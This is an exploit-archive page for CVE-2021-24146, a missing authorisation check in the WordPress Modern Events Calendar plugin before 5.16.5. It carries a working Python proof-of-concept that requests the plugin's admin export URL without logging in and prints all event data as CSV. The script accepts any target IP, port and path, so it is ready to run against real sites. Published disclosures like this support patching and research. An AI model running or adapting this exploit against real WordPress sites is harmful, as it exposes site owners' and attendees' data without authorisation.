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WordPress Modern Events Calendar 5.16.2 Information Disclosure

WordPress Modern Events Calendar 5.16.2 Information Disclosure
Posted Jul 2, 2021
Authored by Ron Jost

WordPress Modern Events Calendar plugin version 5.16.2 suffers from an issue where unauthenticated parties can export all event data.

tags | exploit, info disclosure
advisories | CVE-2021-24146
MD5 | 6efc8a4724dc0a980761c66c25d05189

WordPress Modern Events Calendar 5.16.2 Information Disclosure

Change Mirror Download
# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24146
# CWE: CWE-863, CWE-284
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md

'''
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
'''


'''
Banner:
'''
banner = """
_______ ________ ___ ____ ___ ___ ___ __ __ _____ __ _____
/ ____/ | / / ____/ |__ \ / __ \__ \< / |__ \/ // /< / // / / ___/
/ / | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \
/ /___ | |/ / /__/_____/ __// /_/ / __// /_____/ __/__ __/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/_/ /____/ /_/ /_/ /_/ \____/

* WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)
* @Hacker5preme

"""
print(banner)


'''
Import required modules:
'''
import requests
import argparse
import csv

'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events CalendarExport Event Data (Unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH


'''
Exploit:
'''
print('')
print('[+] Exported Data: ')
print('')
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'
answer = requests.get(exploit_url)
decoded_content = answer.content.decode('utf-8')
cr = csv.reader(decoded_content.splitlines(), delimiter=',')
my_list = list(cr)
for row in my_list:
print(row)

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